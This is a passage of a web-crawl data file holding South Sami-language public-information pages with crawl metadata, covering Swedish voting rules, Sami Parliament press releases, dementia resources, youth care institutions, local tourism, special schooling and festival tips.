tsevtsedh.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/mijjen-bijre\/laake-jih-oornege.html","date":"2020-04-09T15:59:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371861991.79\/warc\/CC-MAIN-20200409154025-20200409184525-00029.warc.gz","language":"sma","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0000076293945312}","num_words":140,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.114,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 11 March 2020\nÅlkoelaanteste tjaatsestidh\nDatne mij ålkoelaantesne maahtah prievine tjaatsestidh jallh åvtelhbodti tjaatsestidh sveerjen ambassaadine jïh konsulaatine mah tjaatsestimmiedåastovem öörnieh.\nDatne gie sïjhth prievine tjaatsestidh tjoerh sjïere prievietjaatsestimmiematerijaalem utnedh.\nMaahta dam Veeljemeåejvieladteste, tjïelteste jallh sveerjen ambassaadeste jallh sveerjen konsulaateste dængkodh.\nPrievietjaatsestimmiem edtja ålkoelaanteste seedtedh. Datne maahtah aaremosth 45 biejjieh veeljemebiejjien åvteli. Prievietjaatsestimmie tjuara daase båetedh åvteli aalka tjaatsestimmieh ryöknedh.\nDatne maahtah åvtelhbodti tjaatsestidh ambassaadine jïh konsulaatine aaremosth 24 biejjieh veeljemebiejjien åvteli. Ih maehtieh tjaatsestidh veeljemebiejjien ålkoelaantesne.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/tjaatsestidh\/alkoelaanteste-tjaatsestidh.html","date":"2020-04-10T03:01:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371883359.91\/warc\/CC-MAIN-20200410012405-20200410042905-00365.warc.gz","language":"sma","language_score":0.9999984503,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 0.9999984502792358}","num_words":74,"character_repetition_ratio":0.131,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.041,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nordlaanten åålmegemiehtjiejarnge, Guessiejarnge åålmegemiehtjie Nordlaante jïh Adde Zetterquist tjeahpoegallerije bievnemem saemien histovrijistie jïh kultuvreste utnieh goh vihkeles bielie sijjen barkoste. Daelie sijhtieh aktem guhkiebasse barkoem eevtjedh viehkine nænnoes jïh ihkuve scene- jïh bievnemeareenam tseegkedh saemien tjeahpose, musihkese jïh lidteratuvrese. Ulmie lea saemien kultuvrem åehpiedehtedh almetjidie aktine lïhkesvoete eatnemen aarvojde dej bïjre guktie goerkese, seahkarimmie jïh ïedtje saemien histovrijasse jïh kultuvrese nænnoesåbpoe sjidtieh.\n– Prosjekte maahta viehkiehtidh saemien tjeahpoen jïh kultuvren bïjre vielie bievnedh jïh lissine viehkine årrodh siebriedahkedigkiedimmesne, saemiedigkieraerie Silje Karine Muotka (NSR) jeahta.\nNordlaanten åålmegemiehtjiejarnge sæjhta vihties öörnedimmieh guesside öörnedidh daan jaepien mah dejtie nuepiem vedtieh joekehts såarhts guessieh gaavnedidh. Joekoen vihkeles ïedtjem gåaskodh maanaj jïh noeri luvnie, gusnie aaj noere geerve almetjh edtjieh åadtjodh meatan årrodh Nordlaanten åålmegemiehtjiejarngem sjugniedidh goh attraktijve areena jïh gaavnedimmiesijjie.\nÅålmegemiehtjiejarnge sæjhta iemie gaavnedimmiesijjiem darjodh saemide Salten-dajvesne jïh abpe Saepmesne, jïh gaskesem åtna gelliej almetjigujmie Nöörjesne, Sveerjesne jïh Såevmesne mah edtjieh viehkine årrodh. Dej lea fokuse jieniebidie sjangeridie saemien kultuvren jïh tjeahpoen sisnjeli prosjektesoejkesjisnie, jïh leah joe jienebh latjkoeh jienebi artistigujmie jïh kultuvrebarkijigujmie.\n– Orre areenah juktie saemien tjeahpoen jïh kultuvren bïjre bievnedh leah vihkeles, joekoen tjiehpiedæjjide mah eah leah dan åehpies annje. Dagkeres faalenasse sæjhta meatan årrodh jienebh saemien tjiehpiedæjjah åvtese lutnjedh gelline sjangerinie, Muotka jeahta.\nMænngan dïhte saemien kultuvreprogramme 2020 lea nåhkeme åålmegemiehtjiejarnge sæjhta dååjrehtimmide vuartasjidh jïh guhkiebasse soejkesjidh maam saemien scene- jïh bievnemeareenide Nordlaanten åålmegemiehtjiejarngesne edtja faalehtidh.\nNordlaanten åålmegemiehtjiejarnge lij 160.000 kråvnaj bïjre syökeme jïh abpe summem åådtje. Dåarjoe vaaltasåvva dåarjoeöörnegistie Regijonaale evtiedimmie.\nJis dov lea gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Silje Karine Muotka (NSR), +47 984 87 576, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Nordlaanten-aaaalmegemiehtjiejarnge-evtiedimmiedaaarjoem-saemien-kultuvreprogrammese-aaaadtje","date":"2020-03-28T23:02:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370493121.36\/warc\/CC-MAIN-20200328225036-20200329015036-00453.warc.gz","language":"sma","language_score":0.9999792576,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999792575836182}","num_words":251,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.183,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"–Saemien tjeahpoe jïh saemien tjiehpiedæjjah leah vihkeles dåarjoehtæjjah juktie saemien siebriedahkem våajnoes darjodh jïh dam evtiedidh, jïh manne aavone jïh garmeres saemien tjeahpoe lea jïjtjemse joekoen hijvenlaakan åehpiedahteme, dovne voenges, nasjonaale jïh gaskenasjonaale sijjesne dej minngemes jaepiej, saemiedigkieraerie Henrik Olsen jeahta.\nTjiehpiedæjjalatjkoen mierie lea 8.570.000 kråvnah, mij lea akte lissiehtimmie 220 000 kråvnine.\nGuejmieh aaj latjkosne seamadamme prioriteradidh jïh vielie vierhtieh tjiehpiedæjjastipendide læjkodh.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/siemes-tjiehpiedaejjalatjkoen-2020-bijre\/","date":"2020-04-05T18:59:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371609067.62\/warc\/CC-MAIN-20200405181743-20200405212243-00330.warc.gz","language":"sma","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999986886978149}","num_words":60,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïevnesematerijelle\nDaesnie prosjekte Aldring og helse materijellem bæjhkohte goh reektehtsh, gærjah jïh gærjetjh saemien jïh nöörjen gïelesne, jïh mah maehtieh sjyöhtehke dïrregh årrodh demensehoksesne stuvreme saemien årroji vööste.\nVedtieh maaje tipsem materijellen bïjre mah leah evtiesovveme desnie gusnie datne barkh mejtie maehtebe vuarjasjidh daennie sæjrosne juekedh.\nDemeansaplána 2020 (Nordsamisk)\nDemensplan 2020 (Norsk)\nMij demense lea bïevnesh demensen bïjre sjïehteladteme almetjidie evtiedimmieheaptojne jïh kognitijve funksjovnegiehpiedimmine.\nMåjhtah goh - Husker du (Hivand, A. 2009) (Sørsamisk-norsk bildeordbok)\nFra kyst til vidde – samisk mat på institusjon (Grønmo, K. & Grønmo, E. 2004) (Nordsamisk)\nSáme biebbmo vuorrasijda\/Samisk mat for eldre (Demensforeningen i Tysfjord, 2011) (Lulesamisk)\nKulturtilpasset åndelig omsorg ved livets slutt (Nordsamisk\/Norsk)\nMátkeloahpa ovddasmoraš\/Omsorg ved livets slutt (Nordsamisk\/Norsk)\nEtihkka reflekšuvdnakoarttat\/Etiske refleksjonskort (Nordsamisk\/Norsk)","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.aldringoghelse.no\/demens\/samisk\/%C3%A5arjelsaemien\/b%C3%AFevnesematerijelle\/","date":"2020-04-06T14:44:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371637684.76\/warc\/CC-MAIN-20200406133533-20200406164033-00150.warc.gz","language":"sma","language_score":0.9777374268,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9777374267578125, \"sme_Latn_score\": 0.02167026326060295}","num_words":110,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":0.986,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien stoerretjåanghkoeståvroe lea moenehtsetjåanghkoeh nænnoestamme jïh ruffien stoerretjåanghkoe edtja digitaalelaakan tjïrrehtidh.\n– Mijjieh healsoeåejvieladtji juvnehtimmieh fulkebe. Tjuara jïjnjem soejkesjidh gosse edtja moenehtse- jih stoerretjåanghkoeh tjïrrehtidh, jïh dan åvteste tjoerebe joe daelie nænnoestidh mijjieh edtjebe tjåanghkojde digitaalelaakan tjïrrehtidh, stoerretjåanghkoen åvtehke Tom Sottinen (Bk) jeahta.\nSaemiedigkie edtja daelie gaavnehtidh guktie edtjieh digkiedimmielahtesh jïh voteradimmieh tjïrrehtidh.\n– Mijjese vihkeles almetjh maehtieh stoerretjåanghkoem fulkedh. Dan åvteste sïjhtebe tjåanghkoem nedtesne seedtedh juktie gaajhkesidie jaksedh, Sottinen jeahta.\nDåehkietjåanghkoeh, moenehtsetjåanghkoeh jïh stoerretjåanghkoe leah våhkoen 24, måantan ruffien 8.b. raejeste duarstan ruffien 11.b. raajan.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saernieh.no\/saemiedigkie-saejhta-moenehtse-jih-stoerretjaanghkoeh-digitaalelaakan-tjirrehtidh\/","date":"2020-06-03T00:23:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347426956.82\/warc\/CC-MAIN-20200602224517-20200603014517-00325.warc.gz","language":"sma","language_score":1.0000048876,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000048875808716}","num_words":83,"character_repetition_ratio":0.127,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.084,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dåarjoe politihkeles krirride\nPolitihkeles krirrieh mah leah vïhtesjadteme krirrieregisterisnie, maehtieh staatedåarjoen bïjre syökedh. Fylhkenålma ohtsemidie gïetede tjïelte- jïh fylhkenkrirrijste jïh aaj noerekrirrijste fylhkendaltesisnie. Aaj ektielæstoeh, gusnie göökte jallh jienebh vïhtesjadteme politihkeles krirrieh, maehtieh dåarjoen bïjre syökedh.\nNåhtedh dam elektrovneles ohtsemegoerem vuelielisnie juktie staatedåarjoen bïjre syökedh. Gåarede aaj prievien tjïrrh syökedh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.fylkesmannen.no\/sma\/Almetjh-jih-siebriedahke\/Daarjoe-politihkeles-krirride\/","date":"2020-06-01T13:04:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347417746.33\/warc\/CC-MAIN-20200601113849-20200601143849-00053.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":50,"character_repetition_ratio":0.126,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.2,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Klicka på bilderna för ett större format.\nBuerie båeteme Härdalen voenese\nBuerie båeteme Lillhärdaalan – dah vïjhte jaepieboelhki voene\nDaesnie dah guarkajin ahte hijven sijjieh lij årrodh. Voestes herjedaelien almetjem mij byjjes paehpierisnie tjåådtje lea Härulg Hornbrytare. Vaajesem sov bïjre jïh sov jielemen bïjre gieltege lea. Dïhte tjåådtje goh statye byögkeles voenesne sov gåmma Helgan ektine.\nHögene aktem Sveerjen tjaebpemes hïejmevoenegaertienijstie, båarasommes gåetiejgujmie mah1600-taaleste. Gaertenem aktem gielteges histovrijem åtna jïh aaj saakestimmide Stoerre Märeten bïjre jïh tråalledööpmije prossesi bïjre, mah aaj 1600 taaleste lea. Gærjagåetesne, stuarakontovresne jïh lillhärdal.se datne maahtah litteratuvrem voenen histovrijen bïjre gaavnedh.\nGïjredaelvesne gåessie saanja-lopme jïh tjarve dïhte ræjvoesvoetem vadta. Guhkies fealadimmieh lopmedoenehkinie jïh treavkajgujmie laateginie datnem guhkiem olkese åenehks tïjjine buakta. Dajvesne jienebh goh 100 mïjlh laategh gååvnese. Vuartesjh jienebh daesnie: lillhardalssk.se\nGïjre seente båata, bene varki. Jis tuvrem åtnah åadtjoeh dajveplåamsterem Mosippam vuejnedh, mij sapmeren tjïrrh beetsehkisnie sjædta, kraanna minngemes lopmine. Daesnie gellieh sjædtoesijjieh ihke gåarede vueptiestidh.\nGiesien datne maahtah ovmessie alka-laavkomem veeljedh guktie doesth. Fuersiem heamturelaavkomem faala gusnie \" krovhtesne laavkodh\" guktemslaakan. \"Playam\" Härjeåjaevrien lihke gællesje gusnie guhkieh gaedtieh jïh baahke tjaetsiem. Orrmojaevrien laavkomesijjie lïhke gællesje.\nHerjejeanosne, voenen åerie, ij naan aejkieh guelehtsh sjidtieh. Gellieh mïjlh ovregleereme tjaetsine, göölemem goh heamturem darjoen. Daesnie dååpmehkh jïh haerriem trööjjes. Jeanoem aktem dejstie bööremes haerriedåehkijste vuelie Norrlaantesne åtna. Gellieh göölesjaevrieh faalen, Stensjön gusnie raavrh jïh gïengeles Orrmojaevriem gusnie trolling-håagkomem darjoen jïh jienebe. Lohkh jienebh göölemen bïjre: lillhardal.sr\nGaajh jïjnje muerjieh gååvnese. Laadtegh, sirrieh, tsietsehthmuerjieh jallh jokngh bæhtoem dievhtieh akten iehkedsbiejjesne. Tjaktjem dan tjaebpies klaeriejgujmie lea vijremeboelhkem. Sarvem jïh bïernem maahtah vijredh, jïh aaj ledtieh jïh njåemelh. Daesnie boelhkem ryöknoen goh åvtelen vijremem jallh mænngan.\nDaelvege dle sïejhmemes jïjnje lopme faala. Dellie aaj boelhkem guhkies iehkiedidie gusnie ræjhkoes kultuvrejieleme lea. Siebride gellieh leah jïh jïenebh eadtjohkealmetjh vuertieminie. Mïnnh aaj Lillhärjåbygget gaertenen gåajka. Ij naan geajnoem gaertienasse, menh lea annje aktem jielije gaertenem bijjene vaeresne.\nBuerie båeteme – akten dygnese jallh jieliemasse!\nSidinformation","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/kommun.herjedalen.se\/omkommunen\/kartor\/informationstavlorikommunen\/informationstavlahardalsbygden.4.72e78ea1157f6caac3220083.html","date":"2020-05-27T00:00:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347391923.3\/warc\/CC-MAIN-20200526222359-20200527012359-00149.warc.gz","language":"sma","language_score":0.9999945164,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999945163726807}","num_words":309,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.107,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate lea SiS\nStaaten instutisjovneståvroe. SiS eelki 1994. SiS`en barkoe lea aajne sjiehtedimmie tjibrenassegeehteme noeri jih jovkeds almetji åvteste.\nLVU – goerehtimmie jih gietedalleme dej sjiere noeregåetiej bijre.\nFierhten jaepien bijre 30 000 maanah jih noerh vaarjelin destie sijjen bäjngolden gåetide.\nNaakeni dejstie 1 300 biejien dan SiS´n sjiere noeregåetide. Dah noerh mah dan SiS`ese båetieh leah 12–21 jaepien båeries, jih dan gierve jielememaadtoem utnieh goh jovkeds, meadtoelassjh jih psykososiale tromhpoeh.\nSåemies dejstie noeride gellie jaepieh SiS`esne sjidtieh, medtie jeatjebidie åenebe boelhkh. Dihte geehteme vuesehte man guhkiem daarpesjieh desnie årrodh.\nBaernie jallh niejte mah tjaelemisnie sjidtieh dennie SiS LUV`en mietie (laake mah lea sjiere nännoestimmiem dej noeri geehtemem bijre), dellie göökte guhkies goeriehtimmie askh daerpies lea. Daate maadtoe sjädta dan aajne gietedallemesoejkesjimmine.\nGeehtedimmie dennie SiS`n sjiere noeregåetine edtja dan aajne noeri nuepiem jih giehtjedimmiem jih dååjrehtsi jielemen mietie årrodh. Noerh maehtieh ovmesie tromhpoeh utnedh, mohte jijnjh viehkiem daarpesjieh dan hatsves vuekiem, jovkeds jih meadtoelassjj åvteste. Dennie SiS`n noeregeehtemisnie gellie dååjrehtsevihtesjimmie kognitive programme nuhtjieh, byjreseterapie, luhkiegööktesille-programme jih programme vööste dam meadtoelassjem.\nDan SiS`ese noerh båetieh mah dan stoerre gierve jielemevuekiem utnieh gosse skuvlesne vaedtsieminie. Gaajhkesh reaktam utnieh dan ööhpehtämman mah dan daerpies leah seamma man båeries jih magkeri tromhpoeh aerebi skuvlesne utneme. Daerpies lea jijnjh lohketäjjah jih smaave dåehkieh mieleme lea dennie ööhpehtimmesne SiS`esen skuvlebarkojne.\nLSU – gaptjeme noeregeehteme buerebe ean roestegåetie\nNoerh mah meadtoem darjoeh gosse 15-17 jaepien båeries dellie gaptjeme noeregeehteme dööpmie sjädta ean goh roestegåetie. Dah leah sjiehteles bussvehts boelhketjh mah sjiere goevtesisnie dennie SiS`en sjiere noeregåetine. Gosse årroeminie dennie noeregåetine dellie daerpies geehtemem jih gietedallemem nuhtjedh, hussvehtsen- geehtemeboelhke- dihte tijje maahta gaskems luhkienjielje biejjieh jih njielje jaepieh årrodh. Årroeminien gåhkoe dan meadtoen mietie sjädta, eah dan gietedallemenuepiem mietie.\nDah noerh mah dan gaptjeme noeregeehtemasse dööpmemem åådtjeme, dah tjuerieh meatan årrodh dennie noeregåetien jijtjemse programmebarkosne jih SiS`en skuvlesne vaedtsedh. Sjidteme dan geehtemem jih ööhpeehtimmien mietie destie tjuara gaajh stoerre joekeds dan tjirkestimmien mietie årrodh. Magkeri meadtoe dah noerh dorjeme, jih aaj guktie sijhtieh destie baataridh, dihte vuesehte guktie gietedalleme sjädta.\nUlmie dan boelhken mietie dennie SiS`sne lea viehkesjidh guktie sillem åadtjodh gosse bååstede dan ektievuakan båetedh destie dan bussvehtseste. Minngiegeehteme vihkeles lea guktie maehtedh veasoedh dan jielemen mietie maam liereme dennie institusjovnesne.\nLVM- guktie skreejredh jih gietedalledh dah geerve jovkeds\nDennie SiS LVM- gåetine fierhten jaepien bijre tjuehtie geerve jovkeds mah tjibrenassegeehtemse vaarjelin dan LVM`en mietie (laaken geehteme dej jovkedsi bijre). Dah klieenth dennie LVM`n geehtememisnie dah dan löövles jovkemem utnieh. Desnie lea garretjaetsie narkotika jih aaj jeatja jovkemes aath. Geehteme dennie SiS`en institusjovnide dan ulmie lea, byörhkedh jih skreejrehtidh guktie dam gietedallemem buerielaakan maehtedh jaksedh.\nGosse SiS`en årroemesijjesne dellie voestegh aelkieh tjarkie dam jovkemem bijre barkedh läjhtedh jih aaj goerehtimmiem klieenten tromhpoen jih nuepien bijre. Goerehtimmien maadtoe daate sjädta dan aajne gietedallemedaltesasse.\nLVM`en geehteme guhkemes govhte askh lea, jih dallegh guktie nuepie lea gaahpene geehtemem hammoen mietie barkedh. SiS`ese vihkeles jih buerie klieenten viermie jih sliekten gaskesem bueriedehtedh, jih aaj dejnie sosialebarkine. Jis buerie minngiegeehteme dellie elliesvoete vihkeles jis ovjovkeds edtja sjidtedh.\nGeehteme dennie LVM`en gåetine maahtoe jih dååjrehtse gaajh vihkeles leah. Gietedallemen vuekie sjädta dan aajne klieenten nuepiem mietie. Skreejrehtimmien soptsesth (MI) jis bååstede jarkoste-\"prevensjione\", luhkiegööktesillegietedalleme jih jijtjemsdåarjoe terapie, dah leah dagkeres vuekie maam nuehtjieh.\nGoerehtimmie- båetije biejjiem buerebe dorje\nGoerehtimmie jih öövtiedimmie gaajh vihkeles dennie SiS`esne. Byjjesfaamoe beetnegh vadta dan goerehtämman-, öövtiedämman-, jih ööhpehtimmieprosjektesaasa guktie geehtemem jih barkij maahtoe-öövtiedimmiem bäjjoedidh. Prosjekte aaj vihkeles gosse orre vuekiem pröövedh dam goerehtimmiem- jih gietedalleme-barkoem dej sjire noeregåetiej jih LVM`en gåetie bijre.\nDaate vuesehte maan gahkese jakseme jih mij destie sjidteme jis viehkie sjädta instutisjovnide guktie gaavnedh dam bööremes gietedallemevuekiem.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.stat-inst.se\/om-sis\/om-webbplatsen\/other-languages\/daate-lea-sis\/","date":"2020-05-27T04:59:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347392141.7\/warc\/CC-MAIN-20200527044512-20200527074512-00093.warc.gz","language":"sma","language_score":0.9999818802,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"sma_Latn_score\": 0.9999818801879883}","num_words":582,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gueliebïepmehtimmie\nJis edtja luhpiem åadtjodh gueliebïepmehtimmine gïehtelidh, dle tjuara aaj luejhtemeluhpiem åadtjodh dearjoelaaken mietie. Fylhkenålma dagkerh luejhtemeluhpieh vadta. Gellie krïevenassh gååvnesieh guktie dearjojde gïetedidh jïh kjemikalijeåtnoen bïjre.\nGosse tseegkeldahke bïepmehtæmman tseegkesåvva, dle Fylhkenålma edtja vuarjasjidh mejtie tseegkeldahke maahta ovvaantosne båetedh regijovnale jïh nasjovnaale iedtjigujmie. Ovvaantoeh ektiedamme ålkoejieliedasse, eatnemevaarjelæmman, vijre- jïh guelieiedtjide sijhtieh vihkeles årrodh Fylhkenålman vuarjasjimmesne. Fylhkentjïelte dam minngemosth sjæjsjalimmiem vaalta jïh luhpiem vadta gueliebïepmehtimmine gïehtelidh.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.fylkesmannen.no\/sma\/Byjrese-jih-klijma\/Gueliebiepmehtimmie\/","date":"2020-06-02T15:53:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347425148.64\/warc\/CC-MAIN-20200602130925-20200602160925-00509.warc.gz","language":"sma","language_score":0.999982357,"language_script":"Latn","minhash_cluster_size":39,"top_langs":"{\"sma_Latn_score\": 0.9999823570251465}","num_words":66,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.11,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sjïereskuvle\nSärskola\nMaanah gïeh sjïere dåarjoem daarpesjieh\nSjïereskuvle dejtie maanide gïeh vuarjesje eah maehtieh maadthskuvlen maahtoeulmieh jaksedh. Sjïereskuvle dåårje maanah evtiedimmiesturreminie jallh stoerre jïh ihkuven funksjovneheaptoes aajlaskaaran gaavhtan.\nDåastove sjïereskuvlesne båata pedagogeles, medisijneles, psykologijes jïh sosijaleles goerehtimmien mænngan learohken åeliej ektesne. Goerehtimmie gaajhkh bielieh goerehte, dåastoedåehkie dam analyseradieh jïh evtiedimmieåejvieh dïedtem sjïereskuvlen åvteste utnieh dam nænnoestieh. Maahta nænnoestimmiem bijjebe klååkedh Skolväsenden bijjieklååkememoenehtsasse.\nDïhte gåabpatjahki åeliej dïedte sijjiem sjïereskuvlesne ohtsedidh.\nJåarhkesjïereskuvle\nJåarhkesjïereskuvle njïelijejaepien ööhpehtimmie mij faalehte nasjovnellen\/sjïerehammoedamme programmh jallh individuellen programmh. Jienebh bïevnesh, vuejnieh lïngkem dan nuelesne jallh jåarhkesjïereskuvlen rektovrem bïeljelidh.\nSjïere ööhpehtimmie geervide (särvux)\nSjïere ööhpehtimmie geervide dejtie gïeh 20 jaepieh illeme jïh evtiedimmiesturreme jallh autisme utnieh jallh geervine aajlaskaarem åådtjeme.\nSidan har granskats 2016-01-29","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/www.umea.se\/umeakommun\/fristaendesidor\/sprak\/languages\/samegielat\/oohpehtimmiejihmaanahokse\/sjiereskuvle.4.3f5fc95914ce7bcf45114d22.html","date":"2020-06-04T17:57:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347445880.79\/warc\/CC-MAIN-20200604161214-20200604191214-00005.warc.gz","language":"sma","language_score":0.9999963045,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"sma_Latn_score\": 0.9999963045120239}","num_words":113,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.035,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Mijjieh budsjedtem lissiehtamme 7,5 raejeste 11,7 millijovnh kråvnaj raajan. Mijjieh aaj dam stööremes dåarjoem skåårvemidie jïh prosjektide lutnjeme 300 000 kråvnaj raejeste 500 000 kråvnaj raajan, madtjeles saemiedigkieraerie Silje K. Muotka jeahta.\nDovne jåartaburrie, båatsoe jïh gööleme leah vihkeles ihke almetjh saemien dajvine årroeh jïh saemien gïelen gaavhtan.\n– Mijjieh dam darjobe juktie buerebe beetnehvierhtietsiehkieh hoksedh daejtie saemien jieliemidie. Akte jeatjah fåantoe lea daate lutnjeme lea vihkeles juktie maehtedh maaksoeevtiedimmiem siebriedahkesne dåeriedidh. Mijjieh vuejnebe maaksoeh læssanieh jaepeste jaapan, mearan baalhkah eah dam darjoeh, Muotka jeahta.\n– Ruffien sïjhtebe vuarjasjidh mejtie edtjebe prioriteradimmide aalkoejielemi sisnjelen vijriedidh orrestamme budsjedtesne, Muotka jeahta.\nJåartaburrien sisnjelen Saemiedigkie bigkemedåarjoem jåarhka dejtie gaertienidie mah gïehtelieh, jïh daate sæjhta jiehtedh Saemiedigkie maahta dåarjoem vedtedh jarkelimmide jïh stueriedimmide gåetijste.\nMearoejielemi sisnjeli Saemiedigkie dam seamma dåarjoem aerpievuekien göölemasse jïh dåastovesijjide göölemisnie jåarhka.\n– Men vuejnebe jïjnje ïedtjije aaj heannede jeatjah aarhtide goh guelie, goh nuhteme mearoen sjædtojste tang jïh tare. Daate akte suerkie mij stoerre nuepieh åtna mijjen fjovledajvine, Muotka jeahta.\nDaennie lissiehtimmesne aaj akte bijjiedimmie båatsoelaakemoenehtsasse 0,5 millijovnh kråvnaj raejeste 1,8 millijovnh kråvnaj raajan.\n– Daate barkoe sæjhta vihkeles årrodh dan båetijen aejkien båatsoepolitihkese, Muotka jeahta.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Silje Karine Muotka, mob. +47 984 87 576, email@example.com","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemiedigkie-sov-daaarjoem-aalkoejieliemidie-lissehte-2020","date":"2020-05-27T12:09:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347394074.44\/warc\/CC-MAIN-20200527110649-20200527140649-00021.warc.gz","language":"sma","language_score":0.9999793768,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999793767929077}","num_words":189,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1. Bïjveles vaarjoeh! Jalhts bïjvele mearan biejjie annje lea bijjene elmesne, varke tjåetskeme sjædta iehkedi. Vaeltieh abpesem jïh lijkievaarjoeh ålloste meatan, dellie guhkiem bïerkenh. Lissine juvnehtibie ålloelijniem, skopmehkem jïh tjohpem meatan vaeltedh. Maahta aaj hijven årrodh åeremevoessine jïh dueljine.\n2. Buerie bïevsterh. Buerie bïevsterh leah dïhte voestes maam byörh meatan vaeltedh gosse edtjh festivaalese. Ij guhte vissjh måsnoeh-ravvine speatjadidh.\n3. Åajeldh jårrehtskoffertem. Festivaaledajve lea maaje gïevine jïh lovves, dellie aelhkebe gaajhkem akten voessen jallh veaskoen sïjse rijtedh.\n4. Straejmiebaanghke, antibac, njaameskårhtoeh paehpieristie jïh kondomh. Dellie ih daarpesjh raessesne sjïdtedh jis tellefovne straejmehts sjædta, ohtjegåetieh eah tjoelem utnieh, guhkies raajroeh sjåavkemasse jallh ih daarpesjh tjoeperdidh ovvaajteles 